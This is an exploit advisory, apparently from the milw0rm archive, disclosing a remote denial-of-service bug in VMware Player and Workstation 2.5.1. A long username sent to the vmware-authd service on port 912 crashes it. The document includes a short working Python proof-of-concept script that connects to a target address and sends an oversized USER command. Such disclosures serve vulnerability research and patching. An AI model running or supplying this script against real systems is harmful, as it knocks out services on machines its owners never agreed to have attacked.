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2 KiB
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78 lines
No EOL
2 KiB
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Vmware <= 2.5.1 build-126130 Remote Denial of Service
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Application: Vmware
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Web Site: http://www.vmware.com/
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Platform: Windows *
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Bug: Remote Denial of Service
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Tested agains: Vmware player 2.5.1 build-126130, workstation 2.5.1 build-126130, using Windows XP SP3 fully patched
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-------------------------------------------------------
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1) Introduction
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2) Bug
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3) Proof of concept
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4) Credits
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================
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1) Introduction
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================
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"VMware desktop virtualization technology lets you run multiple operating systems on a single physical computer.
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Easily run Windows applications on your Mac, including high end games and other graphic applications,
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with VMware Fusion. Run Windows and Linux applications on Windows or Linux PCs with the free VMware Player."
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=======
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2) Bug
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=======
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Vmware-authd listen on 0.0.0.0 port 912 on a windows box by default.
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A denial of service exist in the module vmwarebase.dll of the system process vmware-authd.exe when a long username
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or password is supplied to the service, code execution doesn't look possible at this time.
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A dump file will be created here: C:\Documents and Settings\LocalService\Application Data\VMware\vmware-authd-*.dmp
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Also some old version of this binary (like 6.00.3938.0000) doesn't seems vulnerable to this DoS.
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==================
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3)Proof of concept
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==================
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Auth-dos.py :
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import struct
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import socket
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s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
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buff = 'A' * 350
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target = '192.168.0.102'
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port = 912
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s.connect((target, port))
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data = s.recv(1024)
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s.send('USER '+buff+'\r\n')
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data = s.recv(1024)
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s.send('PASS yo \r\n')
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data = s.recv(1024)
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print " [+] sending dummy payload"
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s.close()
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print " [+] done! "
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=====
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4)Credits
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=====
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laurent gaffié
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laurent.gaffie{remove_this}[at]gmail[dot]com
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# milw0rm.com [2009-01-02] |